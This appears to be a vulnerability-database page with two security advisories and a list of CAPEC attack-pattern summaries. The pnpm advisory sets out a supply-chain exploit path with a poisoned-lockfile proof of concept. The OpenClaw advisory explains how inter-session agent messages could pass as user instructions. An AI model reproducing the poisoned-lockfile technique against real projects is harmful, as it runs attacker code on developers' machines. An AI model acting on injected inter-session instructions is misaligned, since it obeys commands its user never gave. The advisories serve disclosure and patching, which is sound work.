A malicious repository can cause arbitrary package-manager code execution in the victim's developer or CI environment before normal command handling continues. That code executes with the victim user's privileges and can read local secrets, alter project files, mutate dependency state, or run further commands.

Affected products

Ecosystem: npm

Package name: pnpm, @pnpm/installing.env-installer

Affected versions: current main before this patch; direct pnpm execution with package-manager auto-switching and a repository-controlled env lockfile.

Patched versions: pending release containing this patch.

Severity

Severity: High

Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base score: 8.8

Rationale: the malicious source is repository-controlled package-manager lockfile state delivered through normal supply-chain channels. Exploitation is low complexity once the victim runs pnpm directly, no attacker privileges are required, and user interaction is required. Successful exploitation executes attacker-selected package-manager code in the victim user's security context, with high confidentiality, integrity, and availability impact.

Weaknesses

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

CWE-494: Download of Code Without Integrity Check

CWE-345: Insufficient Verification of Data Authenticity

Patch

The patch makes automatic package-manager switching re-resolve repository-provided bootstrap metadata before install and execution:

  • resolvePackageManagerIntegrities() accepts force, which bypasses the version-only fast path.
  • switchCliVersion() creates a store controller even when the committed env lockfile already contains satisfying package-manager dependency versions.
  • switchCliVersion() calls resolvePackageManagerIntegrities() with force: true for already resolved package-manager entries.
  • switchCliVersion() assigns the returned env lockfile back to envLockfile, so installPnpmToStore() installs from freshly resolved metadata.
  • The package-manager bootstrap registry hardening from CAND-PNPM-061 is reused, so the refresh happens through trusted package-manager registries rather than repository workspace registries.

Changed files:

  • installing/env-installer/src/resolvePackageManagerIntegrities.ts
  • pnpm/src/switchCliVersion.ts
  • pnpm/src/switchCliVersion.test.ts

Changeset:

  • .changeset/clean-package-manager-registries.md

Pacquet parity:

No pacquet-side patch is required for this finding because pacquet does not implement pnpm's package-manager auto-switch path or installPnpmToStore().

CVSS Reassessment

Initial CVSS remains correct for vulnerable versions: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H / 8.8 High.

Final CVSS after patch: not vulnerable after patch / 0.0. The PoC still demonstrates the underlying unforced env-lockfile reuse primitive, but the patched execution path force-refreshes package-manager metadata through trusted bootstrap registries before install or execution.

Remaining Risk

The helper resolvePackageManagerIntegrities() still has an unforced fast path that treats matching pnpm and @pnpm/exe versions as resolved. Current execution-sensitive callers either use trusted roots/registries or pass through the patched switchCliVersion() boundary, but future execution paths should use force: true before installing or executing package-manager bytes from repository-provided env-lockfile metadata.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "pnpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.34.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "pnpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55698"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-494",
      "CWE-829"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T23:34:06Z",
    "nvd_published_at": "2026-06-25T18:16:40Z",
    "severity": "HIGH"
  },
  "details": "\u003c!-- maintainer-action:start --\u003e\n## Maintainer Action Plan\n\nThis report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.\n\n- Advisory: `CAND-PNPM-063` / `GHSA-w466-c33r-3gjp`\n- Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp\n- Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1\n- Shared patch branch: `security/ghsa-batch-2026-06-09`\n- Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22`\n- Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec`\n- Maintainer priority: `start-here`\n- Component: `pnpm packageManager env lockfile`\n- Patch area: package-manager env lockfile is re-resolved through trusted registries before execution\n- Affected packages: `npm:pnpm`, `npm:@pnpm/installing.env-installer`\n- CWE IDs: `CWE-829`, `CWE-494`, `CWE-345`\n- Conservative CVSS: `8.8` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`\n- Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.\n\n### Expected Patched Behavior\n\nCommitted env-lockfile package-manager entries are force-refreshed through trusted registries before execution; attacker tarball requests and markers stay at zero.\n\n### Files And Tests To Review\n\n- `installing/env-installer/src/resolvePackageManagerIntegrities.ts`\n- `pnpm/src/switchCliVersion.ts`\n- `pnpm/src/switchCliVersion.test.ts`\n- `.changeset/clean-package-manager-registries.md`\n\n### Focused Validation\n\nRun these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.\n\n```bash\n./node_modules/.bin/tsgo --build installing/env-installer/tsconfig.json\n./node_modules/.bin/tsgo --build pnpm/tsconfig.json\nPNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS=\"--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169\" ../node_modules/.bin/jest src/switchCliVersion.test.ts -t \"re-resolved package-manager lockfile\" --runInBand\nPNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS=\"--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169\" ../node_modules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand\n./node_modules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts\ngit diff --check\n```\n\nThe full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate\u0027s replay evidence is `results/CAND-PNPM-063-patched-result.json`.\n\u003c!-- maintainer-action:end --\u003e\n\n### Summary\n\npnpm can persist package-manager bootstrap metadata in the first YAML document of `pnpm-lock.yaml`. Before the patch, direct pnpm execution trusted an already resolved `packageManagerDependencies` entry when the committed env lockfile contained matching `pnpm` and `@pnpm/exe` versions. A malicious repository could therefore commit package-manager lockfile package records and snapshots that bypassed fresh package-manager resolution, then cause pnpm to install and execute bytes selected by that committed lockfile state during automatic version switching.\n\n### Details\n\nThe vulnerable source-to-sink path was:\n\n- `lockfile/fs/src/envLockfile.ts` reads the repository\u0027s first YAML lockfile document and validates shape only.\n- `pnpm/src/main.ts` reaches `switchCliVersion()` when a direct pnpm invocation sees a wanted `pnpm` package manager with `onFail=download`.\n- `pnpm/src/switchCliVersion.ts` reads the committed env lockfile when package-manager metadata should be persisted.\n- `installing/env-installer/src/resolvePackageManagerIntegrities.ts` treated `packageManagerDependencies` as resolved when only the `pnpm` and `@pnpm/exe` versions matched.\n- `engine/pm/commands/src/self-updater/installPnpm.ts` converts env-lockfile `snapshots` and `packages` into the wanted lockfile used by `headlessInstall()`.\n- `pnpm/src/switchCliVersion.ts` executes the installed `pnpm` binary with `spawn.sync()`.\n\nThe helper fast path is intentionally still version-based for non-execution callers, so the security boundary is enforced at the execution path: `switchCliVersion()` now re-resolves already present package-manager env-lockfile entries before they can reach `installPnpmToStore()` and `spawn.sync()`.\n\n### PoC\n\nStandalone PoC and verification script:\n\nThe PoC constructs a committed env-lockfile object with matching package-manager dependency versions and attacker-selected package metadata:\n\n```json\n{\n  \"importers\": {\n    \".\": {\n      \"configDependencies\": {},\n      \"packageManagerDependencies\": {\n        \"@pnpm/exe\": { \"specifier\": \"9.3.0\", \"version\": \"9.3.0\" },\n        \"pnpm\": { \"specifier\": \"9.3.0\", \"version\": \"9.3.0\" }\n      }\n    }\n  },\n  \"lockfileVersion\": \"9.0\",\n  \"packages\": {\n    \"/pnpm@9.3.0\": {\n      \"resolution\": {\n        \"integrity\": \"sha512-poisoned\"\n      }\n    }\n  },\n  \"snapshots\": {\n    \"/pnpm@9.3.0\": {}\n  }\n}\n```\n\nPre-patch exploit model:\n\n1. The victim runs pnpm directly in a malicious repository.\n2. The requested package-manager version differs from the currently running pnpm.\n3. pnpm enters `switchCliVersion()` and reads the committed env lockfile.\n4. Matching `pnpm` / `@pnpm/exe` versions short-circuit package-manager resolution.\n5. pnpm installs from the committed env-lockfile package records and executes the resulting `pnpm` binary.\n\nObserved primitive proof from the PoC:\n\n```json\n{\n  \"primitive\": \"unforced resolver reuses already-resolved env lockfile metadata\",\n  \"isResolvedByVersionOnly\": true,\n  \"reusedPoisonedIntegrity\": true\n}\n```\n\nThe same script then runs the patched `switchCliVersion` regression. The regression seeds a poisoned committed env lockfile, has the resolver return a trusted replacement lockfile, and asserts `installPnpmToStore()` receives the trusted lockfile rather than the committed one. This would fail on the vulnerable control flow because the resolver was not called and the committed lockfile reached the installer.\n\nFocused validation commands:\n\n```bash\n./node_modules/.bin/tsgo --build installing/env-installer/tsconfig.json\n./node_modules/.bin/tsgo --build pnpm/tsconfig.json\nPNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS=\"--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169\" ../node_modules/.bin/jest src/switchCliVersion.test.ts -t \"re-resolved package-manager lockfile\" --runInBand\nPNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS=\"--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169\" ../node_modules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand\n./node_modules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts\ngit diff --check\n```\n\nValidation result:\n\n- The PoC confirmed the unforced resolver still reuses a version-matching env lockfile, proving the original primitive.\n- Patched `switchCliVersion()` calls `resolvePackageManagerIntegrities()` with `force: true` when committed env-lockfile package-manager entries already satisfy the requested version.\n- Patched `switchCliVersion()` assigns the resolver return value back to `envLockfile`.\n- The installer receives the refreshed lockfile and not the poisoned committed lockfile.\n- TypeScript builds passed for `@pnpm/installing.env-installer` and `pnpm`.\n- The focused Jest regression passed: 1 passed, 1 skipped in `switchCliVersion.test.ts`.\n- ESLint passed for the affected package-manager switch files.\n- `git diff --check` passed.\n\n### Impact\n\nA malicious repository can cause arbitrary package-manager code execution in the victim\u0027s developer or CI environment before normal command handling continues. That code executes with the victim user\u0027s privileges and can read local secrets, alter project files, mutate dependency state, or run further commands.\n\n## Affected products\n\nEcosystem: npm\n\nPackage name: `pnpm`, `@pnpm/installing.env-installer`\n\nAffected versions: current main before this patch; direct pnpm execution with package-manager auto-switching and a repository-controlled env lockfile.\n\nPatched versions: pending release containing this patch.\n\n## Severity\n\nSeverity: High\n\nVector string: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`\n\nBase score: 8.8\n\nRationale: the malicious source is repository-controlled package-manager lockfile state delivered through normal supply-chain channels. Exploitation is low complexity once the victim runs pnpm directly, no attacker privileges are required, and user interaction is required. Successful exploitation executes attacker-selected package-manager code in the victim user\u0027s security context, with high confidentiality, integrity, and availability impact.\n\n## Weaknesses\n\nCWE-829: Inclusion of Functionality from Untrusted Control Sphere\n\nCWE-494: Download of Code Without Integrity Check\n\nCWE-345: Insufficient Verification of Data Authenticity\n\n## Patch\n\nThe patch makes automatic package-manager switching re-resolve repository-provided bootstrap metadata before install and execution:\n\n- `resolvePackageManagerIntegrities()` accepts `force`, which bypasses the version-only fast path.\n- `switchCliVersion()` creates a store controller even when the committed env lockfile already contains satisfying package-manager dependency versions.\n- `switchCliVersion()` calls `resolvePackageManagerIntegrities()` with `force: true` for already resolved package-manager entries.\n- `switchCliVersion()` assigns the returned env lockfile back to `envLockfile`, so `installPnpmToStore()` installs from freshly resolved metadata.\n- The package-manager bootstrap registry hardening from CAND-PNPM-061 is reused, so the refresh happens through trusted package-manager registries rather than repository workspace registries.\n\nChanged files:\n\n- `installing/env-installer/src/resolvePackageManagerIntegrities.ts`\n- `pnpm/src/switchCliVersion.ts`\n- `pnpm/src/switchCliVersion.test.ts`\n\nChangeset:\n\n- `.changeset/clean-package-manager-registries.md`\n\nPacquet parity:\n\nNo pacquet-side patch is required for this finding because pacquet does not implement pnpm\u0027s package-manager auto-switch path or `installPnpmToStore()`.\n\n## CVSS Reassessment\n\nInitial CVSS remains correct for vulnerable versions: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` / 8.8 High.\n\nFinal CVSS after patch: not vulnerable after patch / 0.0. The PoC still demonstrates the underlying unforced env-lockfile reuse primitive, but the patched execution path force-refreshes package-manager metadata through trusted bootstrap registries before install or execution.\n\n## Remaining Risk\n\nThe helper `resolvePackageManagerIntegrities()` still has an unforced fast path that treats matching `pnpm` and `@pnpm/exe` versions as resolved. Current execution-sensitive callers either use trusted roots/registries or pass through the patched `switchCliVersion()` boundary, but future execution paths should use `force: true` before installing or executing package-manager bytes from repository-provided env-lockfile metadata.",
  "id": "GHSA-w466-c33r-3gjp",
  "modified": "2026-06-26T23:34:06Z",
  "published": "2026-06-26T23:34:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55698"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pnpm/pnpm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pnpm: Project env lockfile can short-circuit package-manager resolution and execute lockfile-selected pnpm bytes"
}

GHSA-W5C7-9QQW-6645

Vulnerability from github – Published: 2026-02-18 00:56 – Updated: 2026-02-18 00:56
VLAI
Summary
OpenClaw inter-session prompts could be treated as direct user instructions
Details

Summary

Inter-session messages sent via sessions_send could be interpreted as direct end-user instructions because they were persisted as role: "user" without provenance metadata.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected versions: <= 2026.2.12 (i.e. < 2026.2.13)
  • Fixed in: 2026.2.13 (patched versions >= 2026.2.13)

Impact

A delegated or internal session could inject instructions into another session that appeared equivalent to externally-originated user input.

This is an instruction-provenance confusion issue (confused-deputy style), which can lead to unintended privileged behavior in workflows that trust role: "user" as a sole authority signal.

Technical details

Before the fix, routed inter-session prompts were stored as regular user turns without a verifiable source marker.

As a result, downstream workers and transcript readers could not distinguish: - External user input - Internal inter-session routed input

Fix

OpenClaw now carries explicit input provenance end-to-end for routed prompts.

Key changes: - Added structured provenance model (inputProvenance) with kind values including inter_session. - sessions_send and agent-to-agent steps now set inter-session provenance when invoking target runs. - Provenance is persisted on user messages as message.provenance.kind = "inter_session" (role remains user for provider compatibility). - Transcript readers and memory helpers were updated to respect provenance and avoid treating inter-session prompts as external user-originated input. - Runtime context rebuilding now annotates inter-session turns with an explicit in-memory marker ([Inter-session message]) for clearer model-side disambiguation. - Regression tests were added for transcript parsing, session tools flow, runner sanitization, and memory hook behavior.

Fix Commit(s)

  • 85409e401b6586f83954cb53552395d7aab04797

Workarounds

If immediate upgrade is not possible: - Disable or restrict sessions_send in affected environments. - Do not use role alone as an authority boundary; require provenance-aware checks in orchestration logic.

Credit

Reported by @anbecker.

Thanks @anbecker for reporting.

Severity
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T00:56:51Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nInter-session messages sent via `sessions_send` could be interpreted as direct end-user instructions because they were persisted as `role: \"user\"` without provenance metadata.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.2.12` (i.e. `\u003c 2026.2.13`)\n- Fixed in: `2026.2.13` (patched versions `\u003e= 2026.2.13`)\n\n## Impact\n\nA delegated or internal session could inject instructions into another session that appeared equivalent to externally-originated user input.\n\nThis is an instruction-provenance confusion issue (confused-deputy style), which can lead to unintended privileged behavior in workflows that trust `role: \"user\"` as a sole authority signal.\n\n## Technical details\n\nBefore the fix, routed inter-session prompts were stored as regular user turns without a verifiable source marker.\n\nAs a result, downstream workers and transcript readers could not distinguish:\n- External user input\n- Internal inter-session routed input\n\n## Fix\n\nOpenClaw now carries explicit input provenance end-to-end for routed prompts.\n\nKey changes:\n- Added structured provenance model (`inputProvenance`) with `kind` values including `inter_session`.\n- `sessions_send` and agent-to-agent steps now set inter-session provenance when invoking target runs.\n- Provenance is persisted on user messages as `message.provenance.kind = \"inter_session\"` (role remains `user` for provider compatibility).\n- Transcript readers and memory helpers were updated to respect provenance and avoid treating inter-session prompts as external user-originated input.\n- Runtime context rebuilding now annotates inter-session turns with an explicit in-memory marker (`[Inter-session message]`) for clearer model-side disambiguation.\n- Regression tests were added for transcript parsing, session tools flow, runner sanitization, and memory hook behavior.\n\n## Fix Commit(s)\n\n- `85409e401b6586f83954cb53552395d7aab04797`\n\n## Workarounds\n\nIf immediate upgrade is not possible:\n- Disable or restrict `sessions_send` in affected environments.\n- Do not use role alone as an authority boundary; require provenance-aware checks in orchestration logic.\n\n## Credit\n\nReported by @anbecker.\n\nThanks @anbecker for reporting.",
  "id": "GHSA-w5c7-9qqw-6645",
  "modified": "2026-02-18T00:56:51Z",
  "published": "2026-02-18T00:56:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-w5c7-9qqw-6645"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/85409e401b6586f83954cb53552395d7aab04797"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw inter-session prompts could be treated as direct user instructions"
}

No mitigation information available for this CWE.

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.

CAPEC-141: Cache Poisoning

An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.

CAPEC-142: DNS Cache Poisoning

A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.

CAPEC-148: Content Spoofing

An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.

CAPEC-218: Spoofing of UDDI/ebXML Messages

An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.

CAPEC-384: Application API Message Manipulation via Man-in-the-Middle

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.

CAPEC-385: Transaction or Event Tampering via Application API Manipulation

An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.

CAPEC-386: Application API Navigation Remapping

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.

CAPEC-387: Navigation Remapping To Propagate Malicious Content

An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.

CAPEC-388: Application API Button Hijacking

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

CAPEC-701: Browser in the Middle (BiTM)

An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.

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